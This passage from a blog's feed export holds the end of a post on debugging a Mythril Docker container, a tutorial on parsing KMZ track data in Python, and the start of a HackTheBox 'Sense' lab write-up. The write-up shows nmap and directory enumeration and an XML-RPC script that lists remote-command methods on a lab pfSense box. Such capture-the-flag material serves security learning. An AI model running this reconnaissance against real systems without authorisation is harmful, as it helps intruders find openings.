<\/span>-x<span class=\"w\"> <\/span>\/tmp\/crash.sol\nTraceback<span class=\"w\"> <\/span><span class=\"o\">(<\/span>most<span class=\"w\"> <\/span>recent<span class=\"w\"> <\/span>call<span class=\"w\"> <\/span>last<span class=\"o\">)<\/span>:\n<span class=\"w\">  <\/span>File<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/usr\/local\/bin\/myth&quot;<\/span>,<span class=\"w\"> <\/span>line<span class=\"w\"> <\/span><span class=\"m\">4<\/span>,<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>&lt;module&gt;\n<span class=\"w\">    <\/span>__import__<span class=\"o\">(<\/span><span class=\"s1\">&#39;pkg_resources&#39;<\/span><span class=\"o\">)<\/span>.run_script<span class=\"o\">(<\/span><span class=\"s1\">&#39;mythril==0.18.11&#39;<\/span>,<span class=\"w\"> <\/span><span class=\"s1\">&#39;myth&#39;<\/span><span class=\"o\">)<\/span>\n<span class=\"w\">  <\/span>File<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/usr\/lib\/python3\/dist-packages\/pkg_resources\/__init__.py&quot;<\/span>,<span class=\"w\"> <\/span>line<span class=\"w\"> <\/span><span class=\"m\">658<\/span>,<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>run_script\n<span class=\"w\">    <\/span>self.require<span class=\"o\">(<\/span>requires<span class=\"o\">)[<\/span><span class=\"m\">0<\/span><span class=\"o\">]<\/span>.run_script<span class=\"o\">(<\/span>script_name,<span class=\"w\"> <\/span>ns<span class=\"o\">)<\/span>\n<span class=\"w\">  <\/span>File<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/usr\/lib\/python3\/dist-packages\/pkg_resources\/__init__.py&quot;<\/span>,<span class=\"w\"> <\/span>line<span class=\"w\"> <\/span><span class=\"m\">1438<\/span>,<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>run_script\n<span class=\"w\">    <\/span>exec<span class=\"o\">(<\/span>code,<span class=\"w\"> <\/span>namespace,<span class=\"w\"> <\/span>namespace<span class=\"o\">)<\/span>\n<span class=\"w\">  <\/span>File<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/usr\/local\/lib\/python3.6\/dist-packages\/mythril-0.18.11-py3.6.egg\/EGG-INFO\/scripts\/myth&quot;<\/span>,<span class=\"w\"> <\/span>line<span class=\"w\"> <\/span><span class=\"m\">9<\/span>,<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>&lt;module&gt;\n<span class=\"w\">    <\/span>mythril.interfaces.cli.main<span class=\"o\">()<\/span>\n<span class=\"w\">  <\/span>File<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/usr\/local\/lib\/python3.6\/dist-packages\/mythril-0.18.11-py3.6.egg\/mythril\/interfaces\/cli.py&quot;<\/span>,<span class=\"w\"> <\/span>line<span class=\"w\"> <\/span><span class=\"m\">212<\/span>,<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>main\n<span class=\"w\">    <\/span>print<span class=\"o\">(<\/span>outputs<span class=\"o\">[<\/span>args.outform<span class=\"o\">])<\/span>\nUnicodeEncodeError:<span class=\"w\"> <\/span><span class=\"s1\">&#39;ascii&#39;<\/span><span class=\"w\"> <\/span>codec<span class=\"w\"> <\/span>can<span class=\"err\">&#39;<\/span>t<span class=\"w\"> <\/span>encode<span class=\"w\"> <\/span>characters<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>position<span class=\"w\"> <\/span><span class=\"m\">439<\/span>-447:<span class=\"w\"> <\/span>ordinal<span class=\"w\"> <\/span>not<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>range<span class=\"o\">(<\/span><span class=\"m\">128<\/span><span class=\"o\">)<\/span>\n...\n<\/code><\/pre><\/div>\n\n<p>Fair enough. My first approach was to overwrite the entrypoint to <code>bash<\/code> to have a closer look at the file system and play around a little. The container is based on the latest <code>ubuntu:bionic<\/code> container. Usually applications like vi, nano, and the like are not installed. Trying <code>apt-update<\/code> and installing those packages resulted in a file system error. Now, how do you debug something that you can only observe in a closed environment and you have no chance (apart from the regular logging, which didn\u2019t help in this case) to gather extra data? Rebuild the container every time? That feels wrong and takes way too much time. After doing some research I was surprised to find out that no one has written on a solution to this kind of problem, yet. It for sure must have also happened to other developers.<\/p>\n<p>The trick is rather simple: Directly edit the Docker container\u2019s file system from the host system, where the comfy dev environment is already set up. To do that, we have to know the path to the (merged) container file system. So first we run the container with a <code>bash<\/code> entrypoint to keep it open.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>docker<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span>-it<span class=\"w\"> <\/span>--entrypoint<span class=\"w\"> <\/span>bash<span class=\"w\"> <\/span>mythril\/myth\n<\/code><\/pre><\/div>\n\n<p>Then with <code>docker ps<\/code> we fetch the container\u2019s ID, in this case <code>e70428441068<\/code>\u00a0. Now we need to get to the directory where the Docker storage driver (<code>overlay2<\/code> by default) keeps the file system version the container ends up working on. With Docker inspect we get a ton of output, but what we want essentially boils down to this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>docker<span class=\"w\"> <\/span>inspect<span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span><span class=\"s1\">&#39;{{.GraphDriver.Data.MergedDir}}&#39;<\/span><span class=\"w\"> <\/span>e70428441068\n<\/code><\/pre><\/div>\n\n<p>Going to that path, preferably in a root shell, you\u2019ll be able to see the container\u2019s root. From there you can use your preferred command line editor (which of course is <code>vim<\/code> ) to edit the files you need. The changes will directly propagate to the running container. Insert some additional debug statements, get a better understanding of what\u2019s going on and fix the bug.<\/p>\n<p>To give some closure to the above-mentioned issue: The decode error was a result the container\u2019s locale not being set to UTF-8, so output defaulted to ASCII. Set the environment variables, try again from bash, works. Make the appropriate changes in the <code>Dockerfile<\/code>\u00a0, rebuild, test, <a href=\"https:\/\/github.com\/ConsenSys\/mythril\/pull\/502\">works<\/a>. Nice.<\/p>","category":{"@attributes":{"term":"software"}}},{"title":"Parsing KMZ Track Data in Python","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/09\/14\/parsing-kmz-track-data-in-python.html","rel":"alternate"}},"published":"2018-09-14T00:00:00+02:00","updated":"2018-09-14T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-09-14:\/2018\/09\/14\/parsing-kmz-track-data-in-python.html","summary":"<p>A few days back I stumbled across an interesting problem. I was asked to develop a solution that was doing some analysis work on geolocation data stored in KMZ format. Existing solutions like <a href=\"https:\/\/pypi.python.org\/pypi\/fastkml\/0.11\">fastkml (64KB)<\/a> and <a href=\"https:\/\/pypi.python.org\/pypi\/pykml\/0.1.3\">pykml (42KB)<\/a> seemed nice at the first glance, proved to be unnecessary overhead, however \u2026<\/p>","content":"<p>A few days back I stumbled across an interesting problem. I was asked to develop a solution that was doing some analysis work on geolocation data stored in KMZ format. Existing solutions like <a href=\"https:\/\/pypi.python.org\/pypi\/fastkml\/0.11\">fastkml (64KB)<\/a> and <a href=\"https:\/\/pypi.python.org\/pypi\/pykml\/0.1.3\">pykml (42KB)<\/a> seemed nice at the first glance, proved to be unnecessary overhead, however. They're mostly meant to manipulate and write data into KML format. I just needed to read the data for my later calculations. So I decided to build a solution using the Python Standard Library.<\/p>\n<p>The first trick is that a KMZ file is nothing else but a zip-compressed KML file. Inside you'll find a file called <code>doc.kml<\/code>. So let's open and extract:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">from<\/span> <span class=\"nn\">zipfile<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">ZipFile<\/span>\n\n<span class=\"n\">kmz<\/span> <span class=\"o\">=<\/span> <span class=\"n\">ZipFile<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;r&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">kml<\/span> <span class=\"o\">=<\/span> <span class=\"n\">kmz<\/span><span class=\"o\">.<\/span><span class=\"n\">open<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;doc.kml&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;r&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">read<\/span><span class=\"p\">()<\/span>\n<\/code><\/pre><\/div>\n\n<p>The KML data's juicy part looks something like this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nt\">&lt;Folder&gt;<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&lt;name&gt;<\/span>11112222-XXYYZ-TESTTRACK<span class=\"nt\">&lt;\/name&gt;<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&lt;Document&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;name&gt;<\/span>11112222XXYYZTESTTRACK-track-20161214T105653+0100.kmz<span class=\"nt\">&lt;\/name&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;Placemark&gt;<\/span>\n<span class=\"w\">            <\/span><span class=\"nt\">&lt;name&gt;<\/span>1111XXYYZ-track-20161214T105653+0100<span class=\"nt\">&lt;\/name&gt;<\/span>\n<span class=\"w\">            <\/span><span class=\"nt\">&lt;gx:Track&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;when&gt;<\/span>2016-12-13T13:16:01.709+02:00<span class=\"nt\">&lt;\/when&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;when&gt;<\/span>2016-12-13T13:18:02.709+02:00<span class=\"nt\">&lt;\/when&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;when&gt;<\/span>2016-12-13T13:23:21.709+02:00<span class=\"nt\">&lt;\/when&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;when&gt;<\/span>2016-12-13T13:24:23.709+02:00<span class=\"nt\">&lt;\/when&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"cm\">&lt;!-- more timestamps --&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;gx:coord&gt;<\/span>13.7111482XXXXXXX<span class=\"w\"> <\/span>51.0335960XXXXXXX<span class=\"w\"> <\/span>0<span class=\"nt\">&lt;\/gx:coord&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;gx:coord&gt;<\/span>13.7111577XXXXXXX<span class=\"w\"> <\/span>51.0337028XXXXXXX<span class=\"w\"> <\/span>0<span class=\"nt\">&lt;\/gx:coord&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;gx:coord&gt;<\/span>13.7113847XXXXXXX<span class=\"w\"> <\/span>51.0339241XXXXXXX<span class=\"w\"> <\/span>0<span class=\"nt\">&lt;\/gx:coord&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;gx:coord&gt;<\/span>13.7115764XXXXXXX<span class=\"w\"> <\/span>51.0341949XXXXXXX<span class=\"w\"> <\/span>0<span class=\"nt\">&lt;\/gx:coord&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"cm\">&lt;!-- more coordinates --&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;ExtendedData&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;\/ExtendedData&gt;<\/span>\n<span class=\"w\">            <\/span><span class=\"nt\">&lt;\/gx:Track&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;\/Placemark&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;Placemark&gt;<\/span>\n<span class=\"w\">            <\/span><span class=\"nt\">&lt;name&gt;<\/span>Reference<span class=\"w\"> <\/span>Point<span class=\"w\"> <\/span>#1<span class=\"nt\">&lt;\/name&gt;<\/span>\n<span class=\"w\">            <\/span><span class=\"nt\">&lt;Point&gt;<\/span>\n<span class=\"w\">                <\/span><span class=\"nt\">&lt;coordinates&gt;<\/span>13.72467XXXXXXXXX,51.07873XXXXXXXXX,0<span class=\"nt\">&lt;\/coordinates&gt;<\/span>\n<span class=\"w\">            <\/span><span class=\"nt\">&lt;\/Point&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;\/Placemark&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"cm\">&lt;!-- more Placemarks --&gt;<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&lt;\/Document&gt;<\/span>\n<span class=\"nt\">&lt;\/Folder&gt;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Now we can parse the resulting string using <code>lxml<\/code>.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">from<\/span> <span class=\"nn\">lxml<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">html<\/span>\n\n<span class=\"n\">doc<\/span> <span class=\"o\">=<\/span> <span class=\"n\">html<\/span><span class=\"o\">.<\/span><span class=\"n\">fromstring<\/span><span class=\"p\">(<\/span><span class=\"n\">kml<\/span><span class=\"p\">)<\/span>\n<span class=\"k\">for<\/span> <span class=\"n\">pm<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">doc<\/span><span class=\"o\">.<\/span><span class=\"n\">cssselect<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Folder Document Placemark&#39;<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">tmp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pm<\/span><span class=\"o\">.<\/span><span class=\"n\">cssselect<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;track&#39;<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">name<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pm<\/span><span class=\"o\">.<\/span><span class=\"n\">cssselect<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;name&#39;<\/span><span class=\"p\">)[<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">text_content<\/span><span class=\"p\">()<\/span>\n    <span class=\"k\">if<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">tmp<\/span><span class=\"p\">):<\/span>\n        <span class=\"c1\"># Track Placemark<\/span>\n        <span class=\"n\">tmp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">tmp<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span>  <span class=\"c1\"># always one element by definition<\/span>\n        <span class=\"k\">for<\/span> <span class=\"n\">desc<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">tmp<\/span><span class=\"o\">.<\/span><span class=\"n\">iterdescendants<\/span><span class=\"p\">():<\/span>\n            <span class=\"n\">content<\/span> <span class=\"o\">=<\/span> <span class=\"n\">desc<\/span><span class=\"o\">.<\/span><span class=\"n\">text_content<\/span><span class=\"p\">()<\/span>\n            <span class=\"k\">if<\/span> <span class=\"n\">desc<\/span><span class=\"o\">.<\/span><span class=\"n\">tag<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;when&#39;<\/span><span class=\"p\">:<\/span>\n                <span class=\"n\">do_timestamp_stuff<\/span><span class=\"p\">(<\/span><span class=\"n\">content<\/span><span class=\"p\">)<\/span>\n            <span class=\"k\">elif<\/span> <span class=\"n\">desc<\/span><span class=\"o\">.<\/span><span class=\"n\">tag<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;coord&#39;<\/span><span class=\"p\">:<\/span>\n                <span class=\"n\">do_coordinate_stuff<\/span><span class=\"p\">(<\/span><span class=\"n\">content<\/span><span class=\"p\">)<\/span>\n            <span class=\"k\">else<\/span><span class=\"p\">:<\/span>\n                <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Skipping empty tag <\/span><span class=\"si\">%s<\/span><span class=\"s2\">&quot;<\/span> <span class=\"o\">%<\/span> <span class=\"n\">desc<\/span><span class=\"o\">.<\/span><span class=\"n\">tag<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">else<\/span><span class=\"p\">:<\/span>\n        <span class=\"c1\"># Reference point Placemark<\/span>\n        <span class=\"n\">coord<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pm<\/span><span class=\"o\">.<\/span><span class=\"n\">cssselect<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Point coordinates&#39;<\/span><span class=\"p\">)[<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">text_content<\/span><span class=\"p\">()<\/span>\n        <span class=\"n\">do_reference_stuff<\/span><span class=\"p\">(<\/span><span class=\"n\">coord<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>Alright. Let's see what's going on here: First we regard the document as HTML and parse it using <code>lxml.html<\/code>. Then we iterate over all Placemarks in <code>Folder &gt; Document &gt; Placemark<\/code>. If a Placemark has a child <code>track<\/code>, it's holding our timestamps and coordinate data. Otherwise it's considered a reference point just holding some location data. With <code>cssselect<\/code> we can get the respective data and do stuff with it. Just keep in mind it returns a list, so you always have to access the first element. Then we call <code>text_content()<\/code>l to convert the tag content to a string for further manipulation and logging.<\/p>\n<p>It's also worth mentioning that <code>lxml<\/code> and by extension <code>cssselect<\/code> <strong>do not support the necessary pseudo elements for KML<\/strong>. So you won't be able to address anything like <code>gx:Track<\/code>. It's not a big deal here if you know that you can still address the element with <code>cssselect('track')<\/code>. For more info <a href=\"http:\/\/lxml.de\/2.3\/cssselect.html\">look it up in the docs<\/a>.<\/p>\n<p>I'm lazy, so I use <code>cssselect<\/code>. You might have to install this as a dependency with <code>pip3 install cssselect<\/code>. You can also use the selecting mechanism lxml provides, but previous experience has shown that it's very tedious and hard to debug for such a quick and dirty hack.<\/p>\n<p>The rest is just string magic, really. Just split the content you get, convert it to a float and insert it into your data structure of choice to continue working with it later.<\/p>\n<p>Some info that helped me get a grip on the KML format:<\/p>\n<ul>\n<li><a href=\"https:\/\/developers.google.com\/kml\/documentation\/kmzarchives\">KMZ Documentation by Google<\/a><\/li>\n<li><a href=\"https:\/\/developers.google.com\/kml\/documentation\/kml_tut#placemarks\">KML Placemark Reference and Samples by Google<\/a><\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Keyhole_Markup_Language\">KML on Wikipedia<\/a><\/li>\n<\/ul>","category":{"@attributes":{"term":"Software"}}},{"title":"HackTheBox Sense","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/03\/01\/hackthebox-sense.html","rel":"alternate"}},"published":"2018-03-01T00:00:00+01:00","updated":"2018-03-01T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-03-01:\/2018\/03\/01\/hackthebox-sense.html","summary":"<p>Sense was a HackTheBox machine that really tested my patience during the enumeration phase. It is a box designed around the popular <a href=\"https:\/\/www.pfsense.org\/\">pfSense<\/a> firewall. Let's dive in! Firstly, we start our usual standard nmap scan:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>Starting<span class=\"w\"> <\/span>Nmap<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.60<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"w\"> <\/span>https:\/\/nmap.org<span class=\"w\"> <\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span>at<span class=\"w\"> <\/span><span class=\"m\">2018<\/span>-02-27<span class=\"w\"> <\/span><span class=\"m\">19<\/span>:44<span class=\"w\"> <\/span>CET\nNmap<span class=\"w\"> <\/span>scan \u2026<\/code><\/pre><\/div>","content":"<p>Sense was a HackTheBox machine that really tested my patience during the enumeration phase. It is a box designed around the popular <a href=\"https:\/\/www.pfsense.org\/\">pfSense<\/a> firewall. Let's dive in! Firstly, we start our usual standard nmap scan:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>Starting<span class=\"w\"> <\/span>Nmap<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.60<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"w\"> <\/span>https:\/\/nmap.org<span class=\"w\"> <\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span>at<span class=\"w\"> <\/span><span class=\"m\">2018<\/span>-02-27<span class=\"w\"> <\/span><span class=\"m\">19<\/span>:44<span class=\"w\"> <\/span>CET\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.60\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.034s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">998<\/span><span class=\"w\"> <\/span>filtered<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">    <\/span>STATE<span class=\"w\"> <\/span>SERVICE\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\">  <\/span>open<span class=\"w\">  <\/span>http\n<span class=\"m\">443<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>https\n\nNmap<span class=\"w\"> <\/span><span class=\"k\">done<\/span>:<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>IP<span class=\"w\"> <\/span>address<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>host<span class=\"w\"> <\/span>up<span class=\"o\">)<\/span><span class=\"w\"> <\/span>scanned<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m\">7<\/span>.09<span class=\"w\"> <\/span>seconds\n<\/code><\/pre><\/div>\n\n<p>Checking out port 80 with the browser automatically redirects us to HTTPS on port 443. We also have an information leak about the server technology in the responses, but that information does not lead us to a viable exploit.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/839386424.png\" data-pswp-width=\"361\" data-pswp-height=\"124\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/839386424.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Checking out port 443 in the browser (and skipping the security warning), we are greeted by the pfSense login panel:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/1399367803.png\" data-pswp-width=\"433\" data-pswp-height=\"415\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/1399367803.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>A quick Google search confirms that pfSense is a rather popular open-source firewall solution, and its Github repository seems to be almost entirely written in PHP. This is valuable information already. The default credentials for pfSense are admin:pfsense, but that does not lead us anywhere. There are also no robots.txt or .htaccess files on the server. The login page's source code contains some interesting-looking Javascript code around CSRF token generation. Still, we chose not to follow that lead as the box is isolated, and CSRF seemed a bit over the top. This leads us to conclude that we should try some directory enumeration using dirbuster. Using a standard wordlist for files, we almost immediately get some hits, among them an XML-RPC endpoint:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/1555399102.png\" data-pswp-width=\"772\" data-pswp-height=\"548\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/1555399102.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>XML-RPC is interesting because it can allow us to trigger commands on the server that can cause it to leak credentials or other helpful information. We can use the following payload to list all methods:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nt\">&lt;methodCall&gt;<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&lt;methodName&gt;<\/span>system.listMethods<span class=\"nt\">&lt;\/methodName&gt;<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&lt;params&gt;&lt;\/params&gt;<\/span>\n<span class=\"nt\">&lt;\/methodCall&gt;<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/85609701.png\" data-pswp-width=\"810\" data-pswp-height=\"679\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/85609701.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>We can get even broader descriptions for each method using the <code>system.methodHelp<\/code> call. For that, I wrote a little enumeration script to get a good overview:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">xmlrpc.client<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">xml<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">ssl<\/span>\n\n\n<span class=\"n\">s<\/span> <span class=\"o\">=<\/span> <span class=\"n\">xmlrpc<\/span><span class=\"o\">.<\/span><span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">ServerProxy<\/span><span class=\"p\">(<\/span>\n    <span class=\"s2\">&quot;https:\/\/10.10.10.60\/xmlrpc.php&quot;<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">context<\/span><span class=\"o\">=<\/span><span class=\"n\">ssl<\/span><span class=\"o\">.<\/span><span class=\"n\">_create_unverified_context<\/span><span class=\"p\">(),<\/span>\n    <span class=\"n\">verbose<\/span><span class=\"o\">=<\/span><span class=\"kc\">False<\/span>\n<span class=\"p\">)<\/span>\n\n<span class=\"n\">rpc_methods<\/span> <span class=\"o\">=<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">system<\/span><span class=\"o\">.<\/span><span class=\"n\">listMethods<\/span><span class=\"p\">()<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Available methods are:&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"k\">for<\/span> <span class=\"n\">method<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">rpc_methods<\/span><span class=\"p\">:<\/span>\n    <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">method<\/span><span class=\"p\">)<\/span>\n    <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;-&quot;<\/span><span class=\"o\">*<\/span><span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">method<\/span><span class=\"p\">))<\/span>\n\n    <span class=\"c1\"># get method signature<\/span>\n    <span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">signature<\/span> <span class=\"o\">=<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">system<\/span><span class=\"o\">.<\/span><span class=\"n\">methodSignature<\/span><span class=\"p\">(<\/span><span class=\"n\">method<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">except<\/span> <span class=\"n\">xml<\/span><span class=\"o\">.<\/span><span class=\"n\">parsers<\/span><span class=\"o\">.<\/span><span class=\"n\">expat<\/span><span class=\"o\">.<\/span><span class=\"n\">ExpatError<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">signature<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;Parsing Error&quot;<\/span>\n    <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">signature<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"c1\"># get method docstring if exists<\/span>\n    <span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">docstring<\/span> <span class=\"o\">=<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">system<\/span><span class=\"o\">.<\/span><span class=\"n\">methodHelp<\/span><span class=\"p\">(<\/span><span class=\"n\">method<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">except<\/span> <span class=\"n\">xml<\/span><span class=\"o\">.<\/span><span class=\"n\">parsers<\/span><span class=\"o\">.<\/span><span class=\"n\">expat<\/span><span class=\"o\">.<\/span><span class=\"n\">ExpatError<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">docstring<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;Parsing error&quot;<\/span>\n    <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">docstring<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>The total output is quite long, but the most exciting methods that were returned along with their explanations deal with remote code execution:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"gh\">pfsense.exec_shell<\/span>\n<span class=\"gh\">------------------<\/span>\n[[&#39;boolean&#39;, &#39;string&#39;, &#39;string&#39;]]\nXMLRPC wrapper for mwexec(). This method must be called with two parameters: a string containing the local system\\&#39;s password followed by an shell command to execute.\n\n<span class=\"gh\">pfsense.exec_php<\/span>\n<span class=\"gh\">----------------<\/span>\n[[&#39;boolean&#39;, &#39;string&#39;, &#39;string&#39;]]\nXMLRPC wrapper for eval(). This method must be called with two parameters: a string containing the local system\\&#39;s password followed by the PHP code to evaluate.\n<\/code><\/pre><\/div>\n\n<p>Now the bummer: Playing around with these RPC calls turns out to be a dead-end. Both methods are password-protected, so we're back to square one.<\/p>\n<div class=\"pswp-gallery single-image\" 